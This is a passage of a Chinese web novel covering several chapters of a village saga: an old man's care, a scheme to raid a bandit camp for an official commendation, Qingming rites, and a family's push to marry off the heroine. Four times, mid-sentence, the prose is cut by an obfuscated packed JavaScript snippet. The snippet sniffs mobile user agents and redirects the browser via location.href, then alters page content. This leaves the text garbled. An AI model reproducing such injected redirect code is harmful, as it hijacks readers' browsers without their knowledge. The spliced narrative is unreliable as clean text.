高娇娇小时候最羡慕别人的娃娃,尤其是有很多衣服首饰,可以换装玩,关节还能动来动去的大娃娃。 可她家穷,连日常用度都要节省,自然没钱给她买玩具。 后来她靠给人写作业赚了钱,能卖得起的时候,又觉得娃娃已经没有小时候印象中那么好玩了。 许是因为自己小时候有遗憾,高娇娇就忍不住花了二两银子买了一个娃娃回来。 还买了些好看的花布头,让他们自己给娃娃做衣服玩。 看到这么大这么漂亮的瓷娃娃,几个小孩都高兴坏了,郭玉书也好奇地伸出手指,戳了戳娃娃的脸。 全然忘了刚才还在害怕会有坏人冲进来,再把他们给抓走。 高娇娇见孩子们玩的起劲,也跟着开心,不知不觉便睡了过去。 杜映梅见她睡着,忙将被子往上拉了拉,给她掖好,又叮嘱高二宝看着几个小的,别吵到高娇娇睡觉。 这才出去喂牲口,整理高娇娇带回来的东西。 接风宴过后,林老汉便在石楼村住了下来。 第二百一十五章 展开说说 林巧儿让林老汉住进了绣坊,晚上帮着看院子,白天帮着算账管库房。 她跟三壮已经商量好了,等忙完春耕,就请人在绣坊西边加盖三孔窑,再盖一堵墙把绣坊和新房隔开,中间留一道门方便进出。 这样省的她来回跑,离公婆家也近,有事招呼一声就能听见,也方便。 高三壮没意见,媳妇说怎么干他就怎么干,反正家里也不缺钱,他就是担心岳父这身子骨。 妹妹悄悄跟他说,城里的大夫看过,说他岳父没几年好活了。 这事他没敢告诉媳妇,怕她受不住。 但该调理还是得调理,多活一天是一天,多活一年赚一年,只是岳父是个重规矩的,总觉得儿子养老才是正道,让闺女养老送终不合适。 媳妇本想着给他安排点活儿干,他会住的心安理得一点,可是看他死活不肯要工钱的劲儿,怕是依然心不安。 岳父生怕拖累他们,肯定不愿意让他们再花钱给他调理身子。 夫妻两人商量了一通,先请小刘大夫过来给林老汉又看了看。 刘一手早就得了高娇娇的吩咐,诊了脉就一脸抱歉对林老汉说自己才疏学浅,调理身子什么的最好还是请他师父来看看。 高三壮夫妇便带着林老汉去医馆找到刘长昆,林老汉很是不情愿,一个劲儿嚷嚷自己身子好着呢,不用看。 刘长昆一番望闻问切后,说林老汉没有大碍,就是身子亏空的厉害,得用补药好好调理。 林老汉一听要用补药,就更加不想看,起身就要走。 他觉得自己白吃白住,已经够拖累闺女了,再花那么多钱吃药调理,女婿即便不说,心里也难免抱怨。 他能活着见到闺女,见到外孙外孙女,就已经知足了,能多活一日是一日,不必强求。 哪知刘长昆不要钱,说他们医馆缺个账房,要是林老汉能每天过来半日帮着做做账,就用工钱抵药费了。 林老汉一听乐了,这有什么不行的,闺女的绣坊还没正式开始,能做的事情本来就很有限。 他正烦恼自己没事干,整日闲着吃白饭心里不安呢。 当即就不顾高三壮夫妇的阻拦,抢着应了下来,刘长昆这才开了方子让高三壮去城里抓药。 高三壮拿上方子,冲林巧儿挤眉弄眼得意洋洋,林巧儿好笑地捶了他一下。 这哪儿是他的功劳,这可都是小姑子的主意。 小姑子自从开了窍后真是七窍玲珑心,完全预料到了爹的反应,提前找了小刘大夫师徒帮忙,让爹能安心接受调理身体。 小姑子还说忙碌了一辈子的老人,不能太闲,得有事干,能赚钱,要不容易吃不下饭睡不安稳。 她本来还不信,人只有受不了罪哪儿有享不了的福,可今儿看爹这样,还真是。 幸亏她听了小姑子的话,要不然真每天好吃好喝伺候着爹,爹才难受呢。 林老汉有了活干,觉得自己不是个吃白饭的了,在亲家面前腰板自觉挺直了不少。 再加上刘长昆施针用药调理,吃得好睡得好,气色很快就好了起来。 医馆有人专门管账,刘一手师徒也轻松了不少,刘长昆每天也能再挤出来一个时辰,给高秋菊和高春雨讲医理药经,教她们配药。 刘一手也能腾出手来进山采药,去别的村看诊赚点药费,让医馆不至于只出不进,账面难看的很。 高长天一边盯着巡逻队,留意官道上流民的动向;一边每天去查看地里的情况,荞麦和莜麦已经播种下去好几天了,算算时间也该出苗了。 头一回种这种东西,高长天没经验,只能用笨办法,自己多留意多操心,只要今年种的不差,明年有了经验就会更好。 高娇娇对地里的活儿没那么上心,她种地主打一个随心所欲,只要种下去就不管了。 能活活,不能活,那就拔了种别的更容易活的。 好不容易闲下来,自然要舒服一天是一天,更何况她现在还是伤员。 朱钰见不得高娇娇这般悠闲,跑来指责她, “说好了进城给我请工匠的,人呢? 你对我房子的事能不能上点心?” 高娇娇打着哈欠没好气道, “我不跟你说了,老师傅干完手头的活儿就过来,你急啥啊?” “你真是躺着说话不腰疼,这眼看就要清明了,我不趁着入夏之前盖好,等入了夏万一下暴雨,我住在窑洞里能睡安稳吗?” 朱钰愤愤不满,高娇娇白眼翻上天。 觉得朱钰就是见不得她清闲,忍不住想掰着他的头,让他好好看看外头。 这里可是黄土高原,不是江南水乡。 还暴雨,做梦呢吧,从他们来到这儿到今天,都快一个月了,除了倒春寒那场雪,下过一滴雨没? 她还等着下场雨赶紧种番麦呢,她专门留了河边最好的地准备种春番麦,嫩番麦煮着吃最美味。 把嫩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15342608|167861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 番麦捣碎榨汁也好喝,还可以做番麦甜饼、发糕、面条....... 种子还没种下,高娇娇已经想到了无数种吃法,把自己馋的直咽口水。 朱钰见高娇娇跟自己说着话就跑神,冷哼一声没好气道, “三月都能下桃花雪,六月怎么就不能下暴雨? 别怪我没提醒你,这里的地形布局可不防涝。 不下暴雨则以,一旦下了,窑洞塌方,人直接就被埋里头,连坟都省的挖了。” 高娇娇怔了下,心道不好,这个半吊子神棍不会是推算出什么来了吧? 可转念一想,不对啊,他要是推算出会下暴雨,担心洪涝,还把自己的房子建在河边干嘛? 等着暴雨洪水冲刷,想验证一下工匠们的手艺吗? “朱叔,以咱爷俩的交情,你有啥话就直说吧。 再跟我兜圈子,我可就不理你了哈。” 高娇娇说着,就把头转了过去。 后背受伤真是难受,睡觉只能趴着。 朱钰气的胡子都翘了起来,这丫头,真不好玩。 但这事儿吧,也只能找她商量,跟大哥讲,肯定说不通。 “五十两银子够花吗?想不想多赚点?” 朱钰抛出了诱饵,高娇娇立刻转过头来,满脸堆笑, “朱叔快请坐,怎么个赚法,您展开说说。” 朱钰笑了,捋着胡子慢悠悠道, “顺着官道往北大约二三十里,西侧山中有一匪寨,听说近日有多人前去投奔。 长此以往,只怕匪徒越聚越多,必成一方祸害。” 高娇娇从床上爬了起来,捏着下巴反复咂摸这几句话,忽然拍手笑道, “朱叔,你说咱们初来乍到,是不是应该跟周围的村子搞好关系? 眼下流民侵扰,各村自保,咱们作为拥有数十名猎户的大村,是不是应该主动帮助别的村? 那咱们适当扩大一下巡逻范围,帮助别的村驱赶流民,是不是理所应当?” 朱钰十分满意,点头笑道, “驱赶流民的时候发现有土匪混入其中,一路追捕不小心误入匪寨,为了自保,不得已之下将匪寨一窝端了,是不是也很合理?” 高娇娇哈哈大笑, “合理,合理,没有比这个更合理的! 朱叔,有你在,就没有咱们发不了的财!” 朱钰竖起手指,在高娇娇眼前摆了摆。 第二百一十六章 守孝 高娇娇不解, “啥意思?” “这次不为财!”朱钰笑的意味深长, “这次,咱们要从衙门弄一个协同剿匪的立功嘉奖!” 高娇娇眼珠转了转,竖起大拇指赞叹道, “高,实在是高! 有了这个,以后咱们再练兵,也算是师出有名了。” 朱钰欣慰抚须,跟聪明人说话就是痛快。 有这丫头在,大哥后半生可以高枕无忧了。 被朱钰打了鸡血,高娇娇心潮澎湃,躺不下去了,起身去找高长天。 结果高长天不在,姚春香和罗子娘几个正忙着准备后天清明祭拜的东西。 见高娇娇过来,姚春香忙冲她招手, “快来,我们正准备压粉条呢,你想不想吃粉皮?想吃的话让你罗婶子给你烫几张。” 高娇娇立刻道, “想吃,罗婶儿,我喜欢吃厚的有嚼劲,你给我多烫几张厚的啊。” 罗子娘笑着应下,她小儿子保全也喜欢吃厚粉皮子,尤其是过年炖肉的时候,吸饱了肉汤的粉皮子,他怎么吃都吃不够。 也不知道军营那边能不能吃上粉皮子,这一晃孩子们都走了半个多月了,一点消息都没有,还真让人惦记的很。 听到罗子娘说起罗保全,姚春香也不由想到了高大宝。 那孩子爱吃粉条,尤其是长粉条,呼哧吸溜跟吃面一样,一吃就是一大碗。 走的太匆忙,都忘了给他装一把粉条,去了跟伙房的人说说好话,兴许人家还能给他做一碗解解馋。 高娇娇见她们越说越伤感,忙笑着提议道, “要不你们多做点,回头找人给送过去,离得又不远,人家也没说不让咱送东西过去。” 罗子娘眼睛大亮,姚春香有点担心, “娇娇,这会不会不太好?万一让人家将军觉得咱家孩子娇气了可咋整?” “娘,你不会直接送到将军手里,就说咱们感念将军的照顾,送点家乡特产聊表谢意。 将军是个聪明人,肯定会给大宝他们分一口,也省的大宝他们还得自己去跟伙房的人说好话。 将军要是喜欢吃,以后咱们还可以再送,除了粉条粉皮,别的也能送。” 高娇娇心里已经盘算开了,要是这条路能走得通,等番麦长成了,她就送两筐过去。 说不定将军一尝觉得好,还会主动找她买呢。 那她番麦的销路不就打开了? 也不用干等着顾大将军那边的安排了不是。 姚春香和罗子娘对视一眼,觉得这个法子听上去不错。 想到要给将军送,大家做的时候就更仔细了些。 尤其是烫粉皮的罗子娘,恨不得每一张都烫的平整圆润,让人挑不出一点不好来。 灶上的活儿,高娇娇都不擅长,只能跟着看个热闹。 只见这边灶台上罗子娘将调好的绿豆粉浆,用勺舀到烫过的薄铁盘中,然后转动盘子让粉浆均匀地铺满盘底,紧接着将盘子放入滚烫的水中。 片刻后粉浆凝固成片,迅速将盘子捞起放入凉水中,轻轻一揭,一张均匀透亮的粉皮便做好了。 另一边姚春香和李二娘两个人配合默契,一个用力将绿豆粉团从压饸饹的机子中压下来,另一个等压出来的粉条足够长后,立刻用长筷子挑断,然后迅速将落入开水中的粉条搅成圆团。 将一个个粉条圆团摆放在大箩筐中,晒干,就是能装入袋中长期储存的干粉条了。 屋里炕上,郭双燕和村里的几个婶子正在包清明稞。 高娇娇带回来的糯米和绿豆一样被做成了糯米粉,郭双燕她们又用艾叶汁和糯米粉、米粉和面,揉成面团。 包上提前做好的花生芝麻红糖馅料,再用从老家带来的磨具压出花型,等会儿上锅蒸熟就能吃了。 高二宝几个小的也被安排了活儿,跟着村里年纪最大的丁婆婆学折元宝。 按照老家的习俗,清明祭拜除了要烧香烧纸钱,还要烧金元宝。 把金箔纸折成一个个婴孩拳头大小的金元宝,串在一起,烧给故去的人,希望他们在地下有金有银,活的舒坦。 高娇娇看了一会儿觉得这个简单,便拿起一张金箔纸也想试一试,却被丁婆婆拦住了。 丁婆婆压低声音对她道, “你男人**还不到一年,你可不兴做这个,你要是想要,等会儿我叠个大金元宝给你。” 高娇娇皱了皱眉,不懂这又是什么讲究。 她本来就是闲的无聊,也不是非要折这玩意儿,不让折就放下了。 郭双燕听到丁婆婆这么跟高娇娇说,脸色有点不好,借口上茅厕走到外面搭建的灶房里,凑到姚春香耳边低声说了几句。 姚春香脸色顿时黑了下来,李二娘见她脸色难看,忙小声询问, “咋了?出啥事了?” 姚春香便把屋里丁婆婆的话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15342609|167861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跟李二娘说了说,李二娘气的筷子一扔就要进屋骂人。 狗屁的讲究,男人**,女人还要守孝一年! 那女人**,怎么不见哪个男人给自己媳妇守孝啊? 再说娇娇是成亲当天男人就被带走了,连房都没圆,根本就不能算是成了亲。 就算成了亲,男人**,只要女人无儿无女也不用守。 有儿有女的也是因为儿女要给亲爹守孝,才跟着守一守,但谁也没规定了非得守一年,女人要是狠了心非要改嫁,婆家也拦不住。 张家集的老婆子懂个屁,他们柳树沟才没有这种破规矩。 姚春香忙拉住李二娘,这种事可不能闹的沸沸扬扬,她闺女本来就凶名在外,再被人说三道四,只怕更没好男人敢登门求娶了。 李二娘气不过,瞪着姚春香不满道, “你难不成还真打算让娇娇给那个杜松守一年?” “那不能,过了清明我就打算给娇娇招婿了。” 姚春香立刻否认,娇娇可是她亲闺女,别说一年,一天她也不愿意委屈了闺女。 只是这件事吧,不能靠骂人解决。 丁婆子是张家集人,不知道他们柳树沟那边的习俗,提醒也是出于好意,并不是存了什么坏心。 村里张家集过来的人不少,她们也不可能挨个跟人家解释柳树沟那边没有给丈夫守孝的风俗,更不可能等到一年后再给娇娇招婿。 最好还是找个公开场合,当众说明一下。 让大家知道虽然娇娇不需要为丈夫守孝,但是她对亡夫情真意切,对夫家的小姑子小叔子不离不弃。 这样世人只会记住她重情义,知道她心善人好,不会再盯着议论她身为寡妇要不要给丈夫守孝,改嫁应不应该。 这也是姚春香和高长天想给杜松立衣冠冢的目的,闺女的大好年华耽误不起,杜松已经**这么久了,他们也稳定下来了,该重新计划闺女的终身大事了。 好男儿愿意做上门女婿的本来就少,闺女还养着前夫的弟弟妹妹,还有路上捡来的两个孩子。 有这么多拖累,愿意上门的好男儿就更少了。 高长天和姚春香已经把村里村外,但凡能想到名字的年轻后生扒拉了好几遍,也扒拉不出来一个配得上闺女的。 只能用这种方式,给闺女弄个好名声,希望能引来年轻力壮能干活,品貌端正脾气好,温柔体贴会疼人,知根知底靠得住的好男儿,主动登门。 第二百一十七章 相看 听完姚春香的打算,李二娘呆愣了好一会儿,忍不住小声感叹道, “嫂子,你这是招赘婿还是招驸马啊? 世上真有你说的这种好男人吗? 我活了四十多年,可从没见过这样哪儿哪儿都好的男的呢。” 姚春香斜眼剜了李二娘一眼,没好气道, “你可真是少见多怪,我这要求高吗?” 李二娘实诚点头, “高!” 姚春香瞪眼, “一点都不高,我又没要求他有房有地家财万贯,更没要求他能写会算前途无量。 我就要求他能干活会疼人对我闺女真心,长得不错,人品靠谱而已。 连这些最基本的条件都满足不了,哪儿有资格做我女婿? 我闺女不光长得好,还聪明能干重情义,孝顺懂事又体贴,要不是我们不舍得她外嫁,一心想让她招婿。 别说地主老财家的少爷,就连才高八斗的秀才举人,我闺女也配得上!” 李二娘听得暗暗咂舌,老天爷啊,姚嫂子可真敢想,还秀才举人,谁家举人老爷敢娶个单手就能砸死狼的姑娘啊? 不过扭头看到乖乖坐在小凳子上,单手支着下巴发呆的高娇娇。 圆圆的脸在已经暗下来的光线下依然洁白莹润,大眼睛忽闪忽闪眨了两下,浓密的睫毛跟小扇子一样。 忽略那身吓人的力气,不提她举刀**的凶样,确实是个貌美如花的好姑娘,配个秀才举人的,好像也不是不可能。 只可惜,她这辈子唯一见过的秀才老爷就是朱钰。 看着整天笑眯眯脾气很好的样子,其实一肚子坏水,小心眼还抠门,整起人来那叫一个心黑手狠。 说曹操曹操到,朱钰晃晃悠悠进了院门,看到姚春香她们正在忙,便扭头问高娇娇, “今晚吃啥?” 满脑子都是攻打匪寨,搜刮宝库,立功领赏的高娇娇,被问的一愣,眨巴了好几下眼睛,才无语道, “朱叔,你是闻见味儿了才过来的吧? 自己不好意思去拿,想让我给你拿就直说,绕啥弯子啊。” 朱钰被戳破了小心思也不恼,笑眯眯道, “既然知道了,还不赶紧去。” 高娇娇无语扶额,觉得自己刚才想的太好,太相信朱钰了。 这个贪吃又死要面子的家伙,也不知道从哪儿打听到的消息,消息来源准确不准确还不好说呢,她不能把事情想得太好了。 匪寨不是那么轻易就能被攻下的,他们现在可不是逃荒,没人愿意冒那么大风险去发这种偏门财。 还是得从长计议。 高娇娇进屋端了一盘刚出锅的清明稞,递给朱钰时不忘叮嘱他, “这东西不好消化,少吃点,今天还压了粉条,晚上应该会做羊肉粉条汤。” 朱钰本就翘起来的胡子又往上翘了翘,心情很好,一脸认真叮嘱高娇娇道, “羊杂汤里放点胡椒粉很好喝,我知道你有,记得给我多放点。” 高娇娇........ 她就从城里买了那么一点点胡椒粉,居然就被这个吃货发现了。 不过羊肉汤里放胡椒粉确实香,要不她也不舍得买。 这年头胡椒可真是太贵了,二两银子一两胡椒粉,付钱的时候她肉疼的手都在抖。 要不是有五十两剿匪银子进账,她现在更肉疼。 银子真是不经花,还是得搞钱啊! 晚上大家围坐在一起,喝着香喷喷的羊肉粉条汤,说着后天清明祭拜的安排。 东西都准备的差不多了,明天就能立衣冠冢了,村里除了杜松,还有好几家有亲人死在路上,尸骨无存的要立坟。 朱钰帮着看了看风水,选了几处好地方,高长天准备明天一早就带人过去挖,差不多中午就能挖好。 清明当天把衣物下葬,立碑祭拜,晚上再去路口给老家的先人们烧香引魂,告知他们家人所在,让他们以后来这里收香火祭品。 墓碑请的是桥下村的石匠刻的,桥下村离石楼村大概十来里,从官道拱桥下去不到五里地,是一个专门做白事生意的小村子。 村里除了刻碑的,还有做棺材寿衣的,吹响的,抬棺的,迁坟的,总之所有白事的活儿他们都能干。 据王里正说桥下村祖祖辈辈就是做这个的,村里人丁不旺,地也不多,说富也不富,说穷也不穷,除了做生意也不怎么跟外村的人来往。 许是因为这个原因,连蛮夷入侵都会绕开他们。 去年寒潮的时候,桥下村也没**人,王里正说做这行的人命都硬的很。 命硬不硬高娇娇不知道,但埋人有多贵她算是知道了。 一块最普通的石碑都要三两银子,再加上挖坟,买棺材,请吹响班子和封棺的钱,除了不摆酒席, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15342610|167861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 立衣冠冢跟正常丧葬的费用相差无几。 高娇娇现在总算知道了为啥话本里有那么多**葬父的了,原来安葬不是拿破席子把人一卷,随便挖个坑埋了。 这一套流程走下来,没个五六两银子根本打不住。 难怪村里以前老人去世,都是几个本家兄弟一起凑钱办丧事,要是所有花费都由一家负担,那还真是负担不起。 这么大的花销连高娇娇这种手头富裕的人都觉得高,其他人自然更加难以负担。 这点高长天早就想到了,也安排好了。 他准备明天一早让高二壮进城,把已经处理好的狼皮和狼肉拿去卖掉。 不管是巡逻队打死的狼,还是他们在山里猎到的狼,都归全村所有。 狼肉除了留十斤给医馆做药,剩下的都拿去卖掉,用得来的银子立衣冠冢,清明祭拜。 大家都是逃荒来的,即便没有亲人死在路上,也有祖坟留在家乡,反正都要祭拜,就不计较谁占便宜谁吃亏了,从公中出钱一起弄了算了。 村里众人对这个安排自然没有意见,若是按照老规矩谁出力多谁分得多,卖掉猎物的收益肯定是高家分得最多的。 别的不说,单高娇娇自己,就徒手干掉了一头狼。 不过高娇娇没意见,爹说怎么办就怎么办,红白事的规矩她是一点也不懂,对杜松又没什么感情,也懒得费这个心。 高二壮想到杜衡明天也要回来,忙道, “要不我明天卖了皮子去趟书院,正好把小衡接上,省的他自己回来不安全。” 高娇娇还没表态,高长天和姚春香已经连连点头。 姚春香还叮嘱高二壮道: “我看你最好还是先去书院一趟,也不知道小衡什么时候放假,别你去晚了他已经走了就麻烦了。 你先去书院给他捎个口信,然后再去卖皮子,这样妥当点。” 高长天也道, “或者你就在书院门口等着,把小衡带着一起去卖皮子。 那孩子心眼活络会说话,带着他,兴许还能多卖一点钱呢。” 高二壮点头应下,高娇娇看的好笑,不知道的还以为杜衡是高家的小儿子呢,看看这宠的,比亲儿子都亲。 朱钰喝完最后一口羊肉汤,掏出帕子擦了擦嘴,突然问高长天和姚春香, “大哥,大嫂,你们是不是打算过了清明就给娇娇相看?” 第二百一十八章 我不成亲 高娇娇震惊,高长天和姚春香有些慌乱。 这事儿他们还没跟娇娇说呢,二弟怎么突然当着这么多人问了起来? 见爹娘没否认,高娇娇急了,一把扯住姚春香的袖子嚷, “娘,我不想嫁人,我一个人挺好的,真的。” 姚春香反手握住高娇娇的手,拍了拍,忙温声哄道, “不嫁,不嫁,你别急啊,这回咱不嫁了,咱招婿。” 高娇娇更急了,招婿她也不愿意啊。 她就想一个人自由自在的,不想跟个老古董绑一块儿,更不想生儿育女啊! 可高长天却道, “娇娇,我们这也是为了你好,你现在这年岁,说亲正合适,再耽搁几年,想找个好的就难了。 你放心,这次爹娘一定好好给你把关,找个老实本分会疼人的,绝对不会跟上回一样了。” 高二壮和高三壮几个也纷纷劝了起来,这个让高娇娇不要再想着杜松了,那个说一定帮她找个最好的。 连林巧儿都一脸热切表示要亲自给高娇娇绣嫁衣,刘小翠也跟着嚷嚷要帮高娇娇做送给婆家的新鞋。 一家子聊的热火朝天,好像高娇娇明天就要成亲了似的。 高娇娇头疼不已,觉得跟他们完全说不通。 她是单纯的不想成亲,不是因为放不下杜松,更不是因为不想嫁出去啊。 救命啊,没想到她居然还会被逼婚。 朱钰突然又来了一句, “你们能找到条件最好的,愿意入赘的,也无非就是杜松那样的了吧? 你们真觉得那样的男人,配得上娇娇?” 原本嘈杂的屋里,突然安静了下来。 高长天和姚春香看看高娇娇,想想杜松,越想心里越不得劲。 高二壮和高三壮两兄弟也觉得不太行,那时候妹妹还没开窍,脾气又有些暴躁,选择杜松主要是离得近知根知底,其实说多满意也算不上。 现在妹妹开窍了,那么聪明能干还好看,再找个跟杜松那样大字不识的糙汉,岂不是委屈了妹妹? 林巧儿觉得对赘婿不能要求太高,毕竟这世上愿意入赘的好男人少之又少,能找个像杜松那样的就不错了。 但看公婆和男人表情微妙,知道他们对小姑子的看重,便没在面上表露分毫。 刘小翠心里藏不住事,虽没明说,但撇嘴蹙眉的动作,无不表露出她对朱钰这话的不赞成。 她觉得公婆太贪心了,那可是入赘,倒插门,杜松要是活着,只怕还不肯呢。 可还不等她想出要怎么劝,高娇娇就站起来直接道, “你们别说了,也别再给我找人了,我不成亲,我就喜欢一个人!” 说完,扭头就走,走得飞快,脚下生风,瞬间没了人影。 完全不给众人喊住她的机会,弄的高长天等人都有些傻眼。 高二壮忧心忡忡, “妹妹这是忘不了杜松?” 高三壮觉得不太可能, “我以前也没看出来妹妹有多喜欢那小子啊。” “小妹会不会就是单纯不想成亲啊?” 林巧儿小心翼翼说出自己的想法。 刘小翠第一个不认同, “男大当婚女大当嫁,小妹好端端的为啥要孤苦伶仃一个人?” 姚春香破天荒认同了刘小翠的话,点头道, “老大媳妇说得对,娇娇还是年纪小,把事情想的太简单了。” 刘小翠受宠若惊,高长天不乐意别人说他闺女不好,哪怕这个人是闺女她娘,他也不乐意。 他臭着脸道, “你们也不想想,从去年到现在娇娇经历了多少事,受过多少伤,变了多少。 才刚安定下来就逼着她成亲,还说她年纪小不懂事,我看她已经很懂事了,就没有比她更懂事能干的了。” 姚春香气地拍了高长天一下,瞪眼骂道, “你冲谁发脾气呢?你自己刚还说年纪大了就找不到好的了。 要说逼闺女,你才是头一个! 反正我今儿把话撂在这,闺女不管成不成亲,不管能不能招到好的上门女婿,那都是我闺女。 她要真不愿意,谁也不能逼她!” 高长天委屈,他也没逼闺女啊,他就是提醒一下,生怕闺女耽搁了。 高二壮等人见从来不拌嘴的爹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15342611|167861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娘,因为妹妹的事要吵起来,赶忙劝这个拦那个,屋里乱成了一团。 吵闹声传入躺在炕上的张狗子耳中,他不由皱起了眉头。 高娇娇要招婿了? 他实在很难想象高娇娇跟村里的小媳妇一样,洗衣做饭伺候男人照顾孩子,然后东家长西家短的坐在一起纳鞋底说闲话。 在他心里,高娇娇不是个一般人,她应该站的比她爹还高,应该做出一番事业来,受人敬仰,风光无限。 而不是窝在家里,整日忙活自家的一亩三分地,操心家里的吃喝拉撒,然后一年又一年,渐渐变得跟村里的大娘婶子们一样。 那就太可惜了。 他觉得,高娇娇自己可能也不会喜欢那样的生活,她好像从来就没有依靠男人的想法。 从小就敢把男娃压在身下打的姑娘,面对再凶残的敌人都没有半点退缩的女人,怎么可能甘心屈居男人之下? 即便真要成亲,她大概也会找个对她百依百顺,愿意站在她身后的男人吧。 想到高娇娇要是真找了个小娇夫入赘,以后她出门打猎,小娇夫在家洗衣做饭带孩子,张狗子就乐得不行。 笑着笑着,不知怎地就想到了杜衡,那小子总是装的人畜无害柔善可欺的样子,倒是挺像个小娇夫的。 这个念头刚冒出来,张狗子就控制不住地起了一身鸡皮疙瘩,忍不住想捶自己脑袋两下。 他也是疯了,居然会冒出这样荒唐的念头。 高娇娇可是杜衡他大嫂,杜衡还要考功名,但凡跟长嫂有一点暧昧不清,那都得前程尽毁,声名狼藉。 因为突然被提起招婿的事,高娇娇没能跟高长天商量剿匪的事,第二天又忙的很,没顾上,只能等过了清明再商量。 清明当天,早起时看着还是晴天的样子,吃过早饭天便有些阴沉沉起来。 高娇娇透过敞开的窗户,看着外面的天,盼着下场雨好种番麦,又担心雨下的太早会影响今日祭拜。 杜衡收拾好锅灶出来,看到高娇娇蹙着眉心事重重的样子,不由心下一紧。 昨天下午,他坐着高二哥的牛车回了村,见过高家众人后,就去探望了张狗子。 第二百一十九章 他果然是个累赘 张狗子的伤已经好了些,不用一直躺着,能平靠在床头了,但是想要下地走动起码得到下个月中旬以后。 许是躺的太久了实在难受,也可能是有些日子没见了,彼此变得客套了一点。 杜衡觉得张狗子这次对他没那么冷淡了,跟他说话的时候也没那么尖酸刻薄,语气平和了很多。 当然最大的可能是他已经订了亲,要不了多久就要成亲了。 一旦成了亲就是大人了,自然要有些大人的样子。 可没聊一会儿,张狗子就一脸嫌弃冲他道, “要说你也快十六了,怎么还不长个?看着还跟个小孩一样。” 杜衡差点没气死,是他不想长吗? 他每顿饭都吃到撑,晚上还要加一顿夜宵,可就是不长个,他能怎么办? 最可气的是他不长个也就罢了,凌十三那个混蛋还蹭蹭往上长,开学才发的学子服,眼看着就又短了一截。 还嚷嚷说自己已经够高了,不想再长了,长得太高了做衣服都比别人多费布料。 听听,这也是人话? 把他气的后槽牙都快咬碎了,坚决不带这个糟心玩意儿回村。 张狗子见杜衡脸色难看,忍不住想笑,但想到这小子即将面临的麻烦,还是没笑出来,压低声音提醒道, “高家准备给高娇娇招婿了,你想好以后怎么办了吗?” 杜衡觉得自己耳朵可能出问题了,张狗子刚才说了啥? 招婿? 谁要招婿? 见杜衡呆愣愣没反应,张狗子不由叹了口气,他能理解杜衡此刻的心情。 好不容易过上安稳日子的人,最怕的就是失去。 可高娇娇能一路带着杜衡兄妹走到这儿,能送他去书院,就已经仁至义尽了。 高家要是执意给高娇娇招婿,要是高娇娇自己也愿意,杜衡兄妹也不该有半句怨言。 想到自己即将成为高家的孙女婿,以后大家也是一家人了,张狗子又提醒了杜衡一句, “以她的性子,即便成了亲也不会不管你们,只是你们自己心里要有数,以后肯定不能跟现在一样了。 她不会永远是你们的大嫂,你大哥已经**,你们其实早就没关系了。” 杜衡不记得自己是怎么离开的,也不记得后来做了什么,只知道这一晚翻来覆去怎么也睡不着。 脑中反反复复就是张狗子那几句话,如魔音绕耳,让他痛苦不堪,难受至极。 可他又不得不承认,张狗子说的是对的,然后就更加难受,甚至心都有些抽抽。 可他能怎么办? 拦着不让嫂嫂招婿? 他不能恩将仇报,无耻厚脸皮。 他只能早早起床发面,劈柴烧水,做嫂嫂爱吃的葱花饼,熬她爱喝的黏糊糊的小米粥,炒她爱吃的小咸菜。 然后在她起床趴在窗户口心事重重的时候,给没事人一样,微微笑着走过去问一句, “嫂嫂饿不饿? 我烙了饼熬了粥。” 高娇娇愣愣地眨了两下眼睛,这才惊讶道, “你那么早就起来了啊,难得放假,怎么不多睡一会儿?” “睡不着,就起来了。” 杜衡笑笑,见高娇娇翻身下炕,忙去打热水让她洗漱。 高娇娇看到杜衡有些发黑的眼窝,以为他是因为他哥衣冠冢的事难受没睡好,想安慰几句,又不知道说什么好。 直到杜衡把饭菜端上来,把筷子递到她手边,高娇娇才干巴巴挤出一句, “那个,人死不能复生,你想开些,该吃吃该喝喝,没有什么过不去的。” 杜衡怔了下,闷声道, “我知道了,嫂嫂别担心。” 嫂嫂不肯告诉他招婿的事,是怕他想太多吧,他果然就是个累赘,总是让嫂嫂操心。 